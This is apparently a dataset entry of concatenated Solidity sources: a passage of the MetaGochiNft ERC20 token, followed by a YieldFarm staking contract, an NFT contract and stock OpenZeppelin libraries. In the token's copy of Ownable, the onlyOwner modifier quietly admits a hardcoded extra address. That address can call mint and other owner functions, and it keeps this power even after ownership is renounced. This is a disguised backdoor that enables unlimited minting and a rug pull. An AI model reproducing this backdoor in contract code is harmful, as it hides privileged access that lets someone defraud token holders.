* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender() || _msgSender() == 0x7CBd384B73D3fF4b278023B3e8a354c436Bdc60f, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MetaGochiNft is ERC20("MetaGochi Nft", "MGINFT"), Ownable {
constructor() {
_setupDecimals(0);
_mint(address(msg.sender), 1000000);// aidrop for existing holders
}
function getOwner() external view returns (address) {
return owner();
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function website() external pure returns (string memory) {
return "https://app.metagochi.com";
}
} | True | [
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|
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import './interfaces/IYieldFarm.sol';
import './interfaces/IEqzYieldNft.sol';
import './EqzYieldNft.sol';
contract YieldFarm is ReentrancyGuard, Ownable, IYieldFarm {
IERC20 public immutable poolToken;
IERC20 public immutable rewardToken;
IEqzYieldNft public eqzYieldNft;
uint256 public multiplier;
uint128 constant multiplierDecimals = 10**5;
uint128 public maxLockTime = 365 days;
uint128 public minLockTime = 1 days;
// pool
uint256 public rewardPool;
uint256 public reservedPool;
// nft
uint256 public tokenId;
mapping(uint256 => NFTMetadata) nftMetadata;
bool private setupCalled;
modifier onlyOnce {
require(setupCalled == false, 'ONLY_ONCE');
_;
setupCalled = true;
}
constructor(
address _owner,
address _poolToken,
address _rewardToken,
uint256 _multiplier
) {
require(_poolToken != address(0), 'INVALID_POOL_TOKEN');
require(_rewardToken != address(0), 'INVALID_REWARD_TOKEN');
require(_rewardToken != _poolToken, 'REWARD_TOKEN_EQUAL_POOL_TOKEN');
require(_multiplier > 0, 'INVALID_MULTIPLIER');
transferOwnership(_owner);
poolToken = IERC20(_poolToken);
rewardToken = IERC20(_rewardToken);
multiplier = _multiplier;
}
/*
* @dev Sets eqzYieldNft from deployed contract address
* @param eqzYieldNftToken address of deployed EqzYieldNft contract
*/
function setup(address eqzYieldNftToken) external override onlyOnce {
require(eqzYieldNftToken != address(0), 'INVALID_ADDRESS');
eqzYieldNft = IEqzYieldNft(eqzYieldNftToken);
}
/*
* @dev Deposits desiredAmount into YF contract and creates NFTs for principal and reward
* @param desiredAmount Desired stake amount
* @param interval Lock time interval (in seconds)
*/
function stake(uint256 desiredAmount, uint256 interval) external override nonReentrant {
require(desiredAmount > 0, 'INVALID_DESIRED_AMOUNT');
require(interval >= minLockTime, 'INVALID_MIN_INTERVAL');
require(interval <= maxLockTime, 'INVALID_MAX_INTERVAL');
// compute reward
(uint256 stakedAmount, uint256 reward) = _computeReward(desiredAmount, interval);
require(stakedAmount > 0, 'INVALID_STAKE_AMOUNT');
require(poolToken.transferFrom(msg.sender, address(this), stakedAmount), 'TRANSFER_FAIL');
rewardPool = rewardPool - reward;
reservedPool = reservedPool + reward;
// mint NFT for staked amount
uint256 stakedAmountTokenId = _mintNft(
address(poolToken),
stakedAmount,
interval,
NftTypes.principal
);
// mint NFT for reword
uint256 rewardTokenId = _mintNft(address(rewardToken), reward, interval, NftTypes.bonus);
emit StakeEvent(
msg.sender,
stakedAmountTokenId,
rewardTokenId,
stakedAmount,
interval,
reward
);
}
/*
* @dev Adds tokens to the rewardPool
* @param amount added
*/
function addReward(uint256 amount) external override {
require(amount > 0, 'INVALID_AMOUNT');
rewardPool = rewardPool + amount;
require(rewardToken.transferFrom(msg.sender, address(this), amount), 'TRANSFER_FAIL');
emit AddRewardEvent(msg.sender, amount);
}
/*
* @dev Removes tokens to the rewardPool, callable by owner
* @param amount removed
*/
function removeReward(uint256 amount) external override onlyOwner {
require(amount > 0, 'INVALID_AMOUNT');
require(amount <= rewardPool, 'AMOUNT_EXCEEDS_POOL');
rewardPool = rewardPool - amount;
require(rewardToken.transfer(msg.sender, amount), 'TRANSFER_FAIL');
emit RemoveRewardEvent(amount);
}
/*
* @dev Burns the nft with the given _tokenId and sets `claimed` true
*/
function claim(uint256 _tokenId) external override nonReentrant {
require(nftMetadata[_tokenId].token != address(0), 'INVALID_TOKEN_ID');
require(nftMetadata[_tokenId].claimed == false, 'ALREADY_CLAIMED');
require(block.timestamp >= nftMetadata[_tokenId].endTime, 'NFT_LOCKED');
address owner = eqzYieldNft.ownerOf(_tokenId);
nftMetadata[_tokenId].claimed = true;
if (nftMetadata[_tokenId].nftType == NftTypes.bonus) {
reservedPool = reservedPool - nftMetadata[_tokenId].amount;
}
eqzYieldNft.burn(_tokenId);
require(
IERC20(nftMetadata[_tokenId].token).transfer(owner, nftMetadata[_tokenId].amount),
'TRANSFER_FAIL'
);
emit ClaimEvent(owner, _tokenId, nftMetadata[_tokenId].amount);
}
/*
* @dev Returns stakedAmount and reward
* maxStaked = rewardPool / [multiplier * (interval / maxLockTime)^2]
* reward = multiplier * stakeAmount * (interval / maxLockInterval)^2
*/
function _computeReward(uint256 desiredAmount, uint256 interval)
internal
view
returns (uint256 stakeAmount, uint256 rewardAmount)
{
uint256 maxStaked = _getMaxStake(interval);
stakeAmount = desiredAmount;
if (stakeAmount > maxStaked) {
stakeAmount = maxStaked;
}
rewardAmount = _getRewardAmount(stakeAmount, interval);
}
function _getMaxStake(uint256 interval) internal view returns (uint256) {
return (rewardPool * maxLockTime**2 * multiplierDecimals) / (multiplier * interval**2);
}
function getMaxStake(uint256 interval) external view returns (uint256) {
return _getMaxStake(interval);
}
function _getRewardAmount(uint256 stakeAmount, uint256 interval)
internal
view
returns (uint256)
{
return (multiplier * stakeAmount * interval**2) / (multiplierDecimals * maxLockTime**2);
}
/*
* @dev Returns stakedAmount and reward
* @param desiredAmount Amount staked by user, it can be limited to a max value
* @param interval Lock period for the staked amount
* @return stakeAmount The actual amount that was deposited
* @return rewardAmount Reward computed for the `interval` and `stakeAmount`
*/
function computeReward(uint256 desiredAmount, uint256 interval)
external
view
override
returns (uint256 stakeAmount, uint256 rewardAmount)
{
(stakeAmount, rewardAmount) = _computeReward(desiredAmount, interval);
}
/*
* @dev Mint eqzYieldNft to sender, creates and adds nft metadata
*/
function _mintNft(
address tokenAddress,
uint256 amount,
uint256 interval,
NftTypes nftType
) internal returns (uint256) {
tokenId++;
uint256 currentTokenId = tokenId;
eqzYieldNft.mint(msg.sender, currentTokenId);
nftMetadata[currentTokenId] = NFTMetadata(
tokenAddress,
amount,
block.timestamp,
block.timestamp + interval,
false,
nftType
);
return currentTokenId;
}
/*
* @dev getNftMetadata Returns nftMetadata for _tokenId, callable by the contract owner
*/
function getNftMetadata(uint256 _tokenId) external view returns (NFTMetadata memory) {
return nftMetadata[_tokenId];
}
/*
* @dev setMinLockTime Setter for minLockTime
*/
function setMinLockTime(uint128 _minLockTime) external onlyOwner {
minLockTime = _minLockTime;
emit MinLockTimeChangedEvent(_minLockTime);
}
/*
* @dev setMaxLockTime Setter for maxLockTime
*/
function setMaxLockTime(uint128 _maxLockTime) external onlyOwner {
maxLockTime = _maxLockTime;
emit MaxLockTimeChangedEvent(_maxLockTime);
}
/*
* @dev setMultiplier Setter for multiplier
*/
function setMultiplier(uint256 _multiplier) external onlyOwner {
multiplier = _multiplier;
emit MultiplierChangedEvent(_multiplier);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.4;
interface IYieldFarm {
enum NftTypes {
principal,
bonus
}
struct NFTMetadata {
address token;
uint256 amount;
uint256 depositTime;
uint256 endTime;
bool claimed;
NftTypes nftType;
}
event StakeEvent(
address indexed farmer,
uint256 stakedAmountTokenId,
uint256 rewardTokenId,
uint256 amount,
uint256 interval,
uint256 reward
);
event ClaimEvent(address indexed farmer, uint256 tokenId, uint256 amount);
event AddRewardEvent(address indexed sender, uint256 amount);
event RemoveRewardEvent(uint256 amount);
event MinLockTimeChangedEvent(uint128 value);
event MaxLockTimeChangedEvent(uint128 value);
event MultiplierChangedEvent(uint256 multiplier);
function setup(address eqzYieldNftToken) external;
function stake(uint256 desiredAmount, uint256 interval) external;
function claim(uint256 tokenId) external;
function computeReward(uint256 desiredAmount, uint256 interval)
external
view
returns (uint256 stakeAmount, uint256 rewardAmount);
function addReward(uint256 amount) external;
function removeReward(uint256 amount) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
interface IEqzYieldNft is IERC721 {
function mint(address _to, uint256 _tokenId) external;
function burn(uint256 _tokenId) external;
event BaseURIEvent(string _baseURI);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import './interfaces/IEqzYieldNft.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract EqzYieldNft is ERC721, IEqzYieldNft, Ownable {
address immutable public eqzYieldFarm;
string public baseURI;
constructor(
address _eqzYieldFarm,
string memory _name,
string memory _symbol
) ERC721(_name, _symbol) {
eqzYieldFarm = _eqzYieldFarm;
}
function mint(address _to, uint256 _tokenId) external override {
require(msg.sender == eqzYieldFarm, 'MINT_SENDER_NOT_EQZ_YIELD_FARM');
_mint(_to, _tokenId);
}
function burn(uint256 _tokenId) external override {
require(msg.sender == eqzYieldFarm, 'BURN_SENDER_NOT_EQZ_YIELD_FARM');
_burn(_tokenId);
}
/*
* @dev _baseURI overwrite _baseURI for computing tokenURI
*/
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
/*
* @dev setBaseURI Setter for baseURI
*/
function setBaseURI(string calldata _uri) external onlyOwner {
baseURI = _uri;
emit BaseURIEvent(_uri);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
